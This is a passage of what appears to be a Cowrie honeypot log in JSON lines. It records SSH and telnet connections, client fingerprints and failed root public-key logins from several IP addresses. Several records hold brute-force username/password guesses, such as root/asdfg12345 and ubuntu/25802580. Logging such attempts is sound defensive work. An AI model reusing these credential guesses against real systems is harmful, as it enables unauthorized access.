AAAAB3NzaC1yc2EAAAADAQABAAACAQCx/WbW+4DNU47ZXYFxymja0s/fDaQOiHS74qned4Glgk02xwWLRP36KjSHDZ+vTtWH7WiZcsD3n+ChPWRkzz2LGA3uCgIXjUho6o51c3vHBuyi2UENtJIhkSYlaZJMat3q0TWxxF+3z84DPgpQP9lq8o9JEHkzbIoK8hg7Jl0VAlVly+eCgbiRCx7L7pfLFNyBADWHckxCJvVmmCzWN2+kHyc146Bw9nkWKCN89cYXnZ8mUb75c2ugjbjWBZUjZUcnk/RZgqhfMcK/RaY2s0V9pCg00J9vreSaIE22shq5XEZvlVxao+vflA6GCQk1xGYa1hzQGX9H9Vz17LbPVtCzz4AtTvOUaer/0tMa47kKnYzTWoCUEzbu7HVoycFvi7/70eoIFOv3sYJtJWj47vIViCnmqzPHuoNKsc1MmjB3S0gbosF+lUBrHxEsLmyWFk2wHwJItxTXaTr21crXLC3EaJPN9yn+6FetuF89aFw1r0tOCl1C7zFzCwoXFsGZnbRSEv+5rAzI/bIj5FbUkmZ1uJhp7Cnq+gnSpLwln3oAnC+qmG1Khlp7c1L5uWB3BF5JYrmOdcfXiPMbKDqp8G8hEjcw4RPTdvZPW+Pa7OJxLntd1kx5/H3IS0AD+n4eMThAs6ogIAHvIdhOdOOZ30b0lXLeolmMU77WY/lo/sBhKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:86:0d:92:a3:f1:7e:f1:14:05:f6:63:20:24:fd:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.456113Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:86:0d:92:a3:f1:7e:f1:14:05:f6:63:20:24:fd:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx/WbW+4DNU47ZXYFxymja0s/fDaQOiHS74qned4Glgk02xwWLRP36KjSHDZ+vTtWH7WiZcsD3n+ChPWRkzz2LGA3uCgIXjUho6o51c3vHBuyi2UENtJIhkSYlaZJMat3q0TWxxF+3z84DPgpQP9lq8o9JEHkzbIoK8hg7Jl0VAlVly+eCgbiRCx7L7pfLFNyBADWHckxCJvVmmCzWN2+kHyc146Bw9nkWKCN89cYXnZ8mUb75c2ugjbjWBZUjZUcnk/RZgqhfMcK/RaY2s0V9pCg00J9vreSaIE22shq5XEZvlVxao+vflA6GCQk1xGYa1hzQGX9H9Vz17LbPVtCzz4AtTvOUaer/0tMa47kKnYzTWoCUEzbu7HVoycFvi7/70eoIFOv3sYJtJWj47vIViCnmqzPHuoNKsc1MmjB3S0gbosF+lUBrHxEsLmyWFk2wHwJItxTXaTr21crXLC3EaJPN9yn+6FetuF89aFw1r0tOCl1C7zFzCwoXFsGZnbRSEv+5rAzI/bIj5FbUkmZ1uJhp7Cnq+gnSpLwln3oAnC+qmG1Khlp7c1L5uWB3BF5JYrmOdcfXiPMbKDqp8G8hEjcw4RPTdvZPW+Pa7OJxLntd1kx5/H3IS0AD+n4eMThAs6ogIAHvIdhOdOOZ30b0lXLeolmMU77WY/lo/sBhKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.459773Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:5b:73:73:3d:7a:0f:9b:0c:cf:1d:34:2a:d9:47:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1hzh71KrtXgaoghfLseItqpb8qiQ1B3q2+QgNAM0lTTWAHvOvSNY9W7jPIC7SdYpRV76QRhKIQlp3JJZ6agNkzngxuHSp1g84QWRG3za9n/4Cgi0GRvlK+rOWf2wKLNeEaakfV7TndQipp6m2m5tPPG31eD8SSC8olUPw6DmXjXW9EkbG1sx+OtBumf8XsHNt5rCfJcG2zuAmMBoF7fdtEGncdiWQD6H5RLy9P9IIYw1BN1alHbsnJIZGgEuZLF2sXqKUS3EobauW1QCrX3rSs7WwJf0btZuT5603BSlyxeIvi0JqCKag7IKrtq+faBarwO8PBiZuoBQRxow74Nz5BHEf6a8eWBGL1vNaTGAfncfWOcbcwFCIUiEwx8dIkaZ4Rcb3ZS7zISCVjzMd13qs0VNDx162k6juJ3a9lsGgvkgFyCMrlt9hPX6ZLhQm2dBZ/FcTB6UUZSPMv2fUMc0vlac1NORQXAeB+9CkcgmpeSEIYc3XvQ8KjTfsBqkFVZ46Eq3TKXqR8tRmDRho4SNYs+GZEZ52ok9ysb5mpTokLXOxQM5ownR0MyRYVuM0oa1lmsnL2dKGseRy29MtbNVyk5NXqsTnTIoEJy9P1znbL2r6GffFhz0kZFwuBxT2NFAmkMO4i9VAafx69708C1cr4PPAsqQXQG9o5RshTH7Nzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:5b:73:73:3d:7a:0f:9b:0c:cf:1d:34:2a:d9:47:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.595578Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:5b:73:73:3d:7a:0f:9b:0c:cf:1d:34:2a:d9:47:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1hzh71KrtXgaoghfLseItqpb8qiQ1B3q2+QgNAM0lTTWAHvOvSNY9W7jPIC7SdYpRV76QRhKIQlp3JJZ6agNkzngxuHSp1g84QWRG3za9n/4Cgi0GRvlK+rOWf2wKLNeEaakfV7TndQipp6m2m5tPPG31eD8SSC8olUPw6DmXjXW9EkbG1sx+OtBumf8XsHNt5rCfJcG2zuAmMBoF7fdtEGncdiWQD6H5RLy9P9IIYw1BN1alHbsnJIZGgEuZLF2sXqKUS3EobauW1QCrX3rSs7WwJf0btZuT5603BSlyxeIvi0JqCKag7IKrtq+faBarwO8PBiZuoBQRxow74Nz5BHEf6a8eWBGL1vNaTGAfncfWOcbcwFCIUiEwx8dIkaZ4Rcb3ZS7zISCVjzMd13qs0VNDx162k6juJ3a9lsGgvkgFyCMrlt9hPX6ZLhQm2dBZ/FcTB6UUZSPMv2fUMc0vlac1NORQXAeB+9CkcgmpeSEIYc3XvQ8KjTfsBqkFVZ46Eq3TKXqR8tRmDRho4SNYs+GZEZ52ok9ysb5mpTokLXOxQM5ownR0MyRYVuM0oa1lmsnL2dKGseRy29MtbNVyk5NXqsTnTIoEJy9P1znbL2r6GffFhz0kZFwuBxT2NFAmkMO4i9VAafx69708C1cr4PPAsqQXQG9o5RshTH7Nzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.599557Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:46.734521Z","src_ip":"62.182.85.212","session":"34af180566f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43788,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe00bb2d6ea9","protocol":"ssh","message":"New connection: 194.113.233.25:43788 (10.17.0.5:22) [session: fe00bb2d6ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:50.209690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:50.213811Z","src_ip":"194.113.233.25","session":"fe00bb2d6ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:50.307235Z","src_ip":"194.113.233.25","session":"fe00bb2d6ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:50.589051Z","src_ip":"194.113.233.25","session":"fe00bb2d6ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:22:51.685481Z","src_ip":"194.113.233.25","session":"fe00bb2d6ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":50886,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9c995a5038","protocol":"ssh","message":"New connection: 43.130.29.69:50886 (159.203.135.109:22) [session: 2c9c995a5038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:16.714362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:16.719095Z","src_ip":"43.130.29.69","session":"2c9c995a5038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:16.787217Z","src_ip":"43.130.29.69","session":"2c9c995a5038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"25802580","message":"login attempt [ubuntu/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:17.090503Z","src_ip":"43.130.29.69","session":"2c9c995a5038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:18.162726Z","src_ip":"43.130.29.69","session":"2c9c995a5038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45038,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea5eed33b29f","protocol":"ssh","message":"New connection: 103.149.28.157:45038 (159.203.135.109:22) [session: ea5eed33b29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:19.105390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:19.110444Z","src_ip":"103.149.28.157","session":"ea5eed33b29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:19.364832Z","src_ip":"103.149.28.157","session":"ea5eed33b29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg12345","message":"login attempt [root/asdfg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:20.133590Z","src_ip":"103.149.28.157","session":"ea5eed33b29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:21.391423Z","src_ip":"103.149.28.157","session":"ea5eed33b29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a503d2e50f3","protocol":"telnet","message":"New connection: 152.42.224.71:44552 (10.17.0.5:23) [session: 3a503d2e50f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:25.792915Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":56194,"dst_ip":"159.203.135.109","dst_port":22,"session":"7651aae0758d","protocol":"ssh","message":"New connection: 87.251.79.125:56194 (159.203.135.109:22) [session: 7651aae0758d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:32.218964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:32.226288Z","src_ip":"87.251.79.125","session":"7651aae0758d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:32.297663Z","src_ip":"87.251.79.125","session":"7651aae0758d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mylove","message":"login attempt [root/mylove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:32.510851Z","src_ip":"87.251.79.125","session":"7651aae0758d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:33.585635Z","src_ip":"87.251.79.125","session":"7651aae0758d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55706,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e4917db033e","protocol":"ssh","message":"New connection: 80.94.92.184:55706 (10.17.0.5:22) [session: 9e4917db033e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:38.202298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:38.458765Z","src_ip":"80.94.92.184","session":"9e4917db033e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:38.462694Z","src_ip":"80.94.92.184","session":"9e4917db033e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:39.294301Z","src_ip":"80.94.92.184","session":"9e4917db033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:23:40.591250Z","src_ip":"80.94.92.184","session":"9e4917db033e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63900399208069,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:09.431800Z","src_ip":"152.42.224.71","session":"3a503d2e50f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":59910,"dst_ip":"159.203.135.109","dst_port":22,"session":"95fa65d104f3","protocol":"ssh","message":"New connection: 43.130.29.69:59910 (159.203.135.109:22) [session: 95fa65d104f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:34.363499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:34.367977Z","src_ip":"43.130.29.69","session":"95fa65d104f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:34.437268Z","src_ip":"43.130.29.69","session":"95fa65d104f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0Rd","message":"login attempt [root/p@ssw0Rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:34.747338Z","src_ip":"43.130.29.69","session":"95fa65d104f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:24:35.821803Z","src_ip":"43.130.29.69","session":"95fa65d104f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.223.67.133","src_port":46816,"dst_ip":"10.17.0.5","dst_port":22,"session":"de221968e8b3","protocol":"ssh","message":"New connection: 5.223.67.133:46816 (10.17.0.5:22) [session: de221968e8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:25:25.469929Z"}
